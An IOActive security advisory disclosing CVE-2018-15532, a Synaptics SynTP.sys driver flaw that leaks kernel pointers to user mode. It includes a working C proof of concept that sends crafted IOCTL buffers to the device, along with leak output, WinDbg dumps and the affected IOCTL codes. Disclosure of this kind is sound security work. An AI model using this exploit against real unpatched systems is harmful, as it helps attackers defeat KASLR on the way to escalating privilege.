IOActive Security Advisory

Title	**Synaptics TouchPad SynTP Driver Leaks Multiple Kernel Addresses**
Severity	Medium – Score 3.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N)
Discovered by	Enrique Nissim
Advisory Date	February 1, 2019

Affected Product

Synaptics TouchPad Win64 Driver – SynTP.sys

Description: Synaptics Pointing Device Driver

File Version: 19.3.4.31

CVE Assigned: CVE-2018-15532

Impact

Synaptics TouchPad Windows driver leaks multiple kernel addresses and pointers to unprivileged user mode programs. This could be used by an attacker to bypass Windows Kernel Address Space Layout Randomization (KASLR).

Background

SynTP.sys is a Kernel-Mode Driver Framework (KMDF) driver that exposes a device object "`SynTP`" to regular users and accepts several IOCTLs without requiring read/write permissions.

More information about Synaptics touchpads can be found at: https://www.synaptics.com/products/touchpad-family

Technical Details

IOActive found the SynTP.sys driver is leaking multiple kernel addresses at the user-specified `OutputBuffer` while handling most supported IOCTLs.

IOActive identified the problem through fuzzing and created a quick proof of concept:

```
#include <stdio.h>
#include <windows.h>

BOOL analyze_potential_leaks(PVOID buffer, UINT size) {
   if (size < 8) {
          return FALSE;
   }
```

```
  BOOL result = FALSE;
  int i = 0;
  DWORD64 mask = 0xffff000000000000;
  for (i = 0; i < size; i += 8) {
        DWORD64 content = ((DWORD64 *)buffer)[i];
        if ((content & mask) == mask) {
              printf("LEAK? %i: %p\n", i, content);
              result = TRUE;
        }
  }
  return result;
}

char leak0[] =
"\x07\x00\x00\x00\x80\x00\x00\x00\x7f\x00\x01\x00\x00\x80\x00\x01"
"\x05\x00\x00\x00\x00\x80\x0b\x00\x00\x00\x06\x5e\x01\x80\x00\x00"
"\x00\x3e\x02\x00\xff\x7f\x01\x00\x00\x00\x00\x00\x00\x40\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x03\x00"
"\x06\x00\x00\x00\x01\x80\x00\x00\x7f\x06\x00\x00\x00\x04\x00\x00"
"\x00\x00\x00\x00\x00\xff\xff\x7f\xff\xff\xff\xff\xff\xff\xff\x7f"
"\x07\x00\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\x7f\x7f\x00\x00"
"\x00\x40\x06\x00\x7f\x00\x03\x0b\x00\x00\x00\x00\x00\x00\x00\x28"
"\x0b\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00"
"\x00\x00\x00\x00\x01\x80\x00\x00\x00\x00\x00\x00\x0b\x00\x2b\x7f"
"\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x04\x00\x41\x06\x00\x0a\x00"
"\x00\x00\x07\x00\x29\x5c\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x80\x00\x00\x00\x00\x2b\x06\x04\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x80\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00"
"\xff\x7f\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x80\x00\x03\x00\x07\x00\x00\x00\x2a\x01\x40\x0b\x00\x00\x00\x00"
"\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x3d\xff\x7f\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x40\x09\x00\x00\x05\x00\x00\x00\x00"
"\x00\x00\x00\xff\xff\xff\x3f\xff\xff\xff\x7f\x00\x00\x01\x00\x80"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x05\x23\x40\x00\x05"
"\x00\x00\x80\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x80\x00"
"\x00\x00\x00\x0a\x00\x2f\x02\x24\x01\x00\x00\x00\x01\x00\x00\x00"
"\x08\x01\x01\x41\x00\x06\xff\x00\x00\x00\x00\x00\x00\x00\x00\x80"
"\x00\x00\x00\x00\x00\x00\x41\x00\x00\x00\x01\x00\x00\x40\x7f\x00"
"\x00\x00\x41\x26\x00\x80\x00\x00\x00\x00\x00\x00\x0a\x41\x00\x7f"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x3e\x00\x40\x40\x00"
"\x00\x00\x41\x00\x00\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x04\x00"
"\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x3f\x00\x00\x00\x03\x00"
"\x00\x00\x09\x00\x00\x00\x01\x00\x00\x40\x05\x00\x00\x00\x29\x00"
"\x40\x01\x00\x00\x00\x01\x00\x00\x00\x80\xff\xff\x00\x00\x7e\x0b"
"\x00\x00\x00\x01\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00"
"\x00\x00\x80\xff\xff\xff\xff\x00\x00\x00\x00\x41\x00\x2b\x01\x00"
"\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x01\x01"
"\x00\x00\x00\x80\x00\x00\x00\x00\x01\x80\x00\x00\x00\x00\x00\x00"
"\x00\x80\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x29\x5c\x23\x80"
"\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x3f\x40\x00\x5e"
```

```
"\x00\x01\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x5c\x01\x00\x01"
"\x00\x00\x00\x00\x00\x2d\xff\x00\x01\x00\x00\x80\x00\x00\x00\x00"
"\x81\x00\x00\x00\x2a\x01\x01\x29\x80\x00\x0b\x00\x00\x00\x04\x00"
"\x2b\x00\x00\x00\x40\x00\x00\x00\x00\x3e\x0a\x00\x00\x00\x00\x00"
"\x00\x00\x23\xff\xff\xff\xff\xff\xff\xff\xff\x7f\x00\x00\x00\x00"
"\x01\x7f\x00\x81\x00\x00\x00\x00\x40\xff\xff\xff\xff\xff\xff\xff"
"\xff\x01\x01\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00";

void Synaptics_SynTP_Leak0() {
   HANDLE hDevice = CreateFileW(
         L"\\\\.\\SynTP",
         FILE_READ_ACCESS | FILE_WRITE_ACCESS,
         FILE_SHARE_READ | FILE_SHARE_WRITE,
         NULL,
         OPEN_EXISTING,
         0,
         NULL
   );

   if (hDevice == NULL || (int)hDevice == -1) {
         printf("Error: %08x\n", GetLastError());
         error("Could not open SynTP device");
   }

   printf("Handle: %08x\n", hDevice);

   DWORD bytesReturned;
  DWORD SizeOut = 0xcd2;
   UCHAR *bufferOut = (UCHAR *)HeapAlloc(GetProcessHeap(), 
HEAP_ZERO_MEMORY, SizeOut);

   DeviceIoControl(hDevice, 0x80002040, leak0, sizeof(leak0) - 1, 
bufferOut, SizeOut, &bytesReturned, NULL);
   analyze_potential_leaks(bufferOut, SizeOut);

   HeapFree(GetProcessHeap(), 0, bufferOut);
   CloseHandle(hDevice);
   return;
}

int main()
{
   Synaptics_SynTP_Leak0();
   return 0;
}
```

Compiling and executing the above program several times gives different results, leaking different kernel pointers:

```
C:\Users\a\Desktop\shared>TestDrivers.exe
SEED: 00000000
Handle: 0000003c
LEAK? 8: FFFFF8002EC3796F
LEAK? 24: FFFF840195D63000
LEAK? 32: FFFF840195D62AF0
LEAK? 40: FFFFF8002EC40711
LEAK? 56: FFFF9C0657737CA0
```

```
LEAK? 80: FFFF840195D62AF0
LEAK? 88: FFFF9C06517D8AE0
LEAK? 96: FFFFAD01725E8B00
LEAK? 112: FFFF9C0657737C80
LEAK? 352: FFFF840195D62B10

C:\Users\a\Desktop\shared>TestDrivers.exe
SEED: 00000000
Handle: 00000080
LEAK? 344: FFFF9C0654573D20
LEAK? 376: FFFFF8002ED5CFA8
```

Using WinDbg to view the content:

```
0: kd> dq FFFFF8002EC40711
fffff800`2ec40711  c4834830`245c8b48 8b28ec83`48c35f20
fffff800`2ec40721  e0f98148`c18b4cc2 0d8b4438`7700000f
fffff800`2ec40731  74c98545`0017eb93 8b412774`c985482c
fffff800`2ec40741  fff2b31b`e8c88bd1 10408d49`1275c085
fffff800`2ec40751  408d4910`72c83b4c 01b80773`c83b4c20
fffff800`2ec40761  48c03302`eb000000 48cccccc`c328c483
fffff800`2ec40771  8b0100c6`2824448b 24448900`51da6e05
fffff800`2ec40781  48cc0048`4fdde928 4e444239`8128ec83

0: kd> dq FFFF9C0654573D20
ffff9c06`54573d20  00000000`0006e773 00000000`00058832
ffff9c06`54573d30  00000000`00073c11 00000000`0006f050
ffff9c06`54573d40  00000000`0006cccf 00000000`0006a5ce
ffff9c06`54573d50  00000000`0006e88d 00000000`000583cc
ffff9c06`54573d60  00000000`0004748b 00000000`00071a0a
ffff9c06`54573d70  00000000`0006f4c9 00000000`0014b288
ffff9c06`54573d80  00000000`0000fbc7 00000000`00154e86
ffff9c06`54573d90  00000000`00076a85 00000000`00059a04

0: kd> !pool FFFF9C0654573D20
Pool page ffff9c0654573d20 region is Nonpaged pool
 ffff9c0654573000 size:  170 previous size:    0  (Allocated)  Ntfx
 ffff9c0654573170 size:   30 previous size:  170  (Free)       Free
 ffff9c06545731a0 size:   80 previous size:   30  (Free )  Sema
 ffff9c0654573220 size:   60 previous size:   80  (Allocated)  Icp
 ffff9c0654573280 size:   80 previous size:   60  (Allocated)  Even
 ffff9c0654573300 size:   30 previous size:   80  (Free)       Free
*ffff9c0654573330 size:  cd0 previous size:   30  (Allocated) *Cngb
        Pooltag Cngb : CNG kmode crypto pool tag, Binary : ksecdd.sys


0: kd> dq FFFFF8002ED5CFA8
fffff800`2ed5cfa8  ffff9c06`5498f930 ffff9c06`5498f930
fffff800`2ed5cfb8  00000001`04c64298 00000000`00000000
fffff800`2ed5cfc8  ffff9c06`573aecc0 ffff9c06`573aecc0
fffff800`2ed5cfd8  00000002`20ca63b8 00000000`00000000
fffff800`2ed5cfe8  fffff800`2ed5cfe8 fffff800`2ed5cfe8
fffff800`2ed5cff8  ffffffff`04cc5cfd 00000000`00000000
fffff800`2ed5d008  ffff9c06`56c59d30 ffff9c06`56c59d30
fffff800`2ed5d018  00000001`04d3b001 00000000`00000000
```

This problem was verified to occur with the following set of IOCTLs:

- 80002040h
- 80002030h
- 80002034h
- 80002038h
- 80006004h
- 80006018h
- 8000200ch
- 8000203ch
- 80002010h
- 80002000h
- 80002050h
- 80002044h
- 8000a008h

Mitigation

Do not leak kernel pointers or otherwise privileged content to user mode programs.

Timeline

May 16, 2018 – IOActive reports the vulnerability.

July 5, 2018 – Vulnerability was fully triaged and fixed by Synaptics. Synaptics sent IOActive a new version of the driver to confirm the patches.

August 8, 2018 – Synaptics mentions that all they have placed the new driver version in Windows Update, but not every vendor wanted it for different reasons, so people would need to contact their OEM to get the corresponding updated version.

January 3, 2019 – One last OEM still had to merge the patch.

January 10, 2019 – CVE-2018-15532 is assigned to the issue and Synaptics publishes an advisory: https://www.synaptics.com/sites/default/files/touchpad-driver-security-brief-20190124.pdf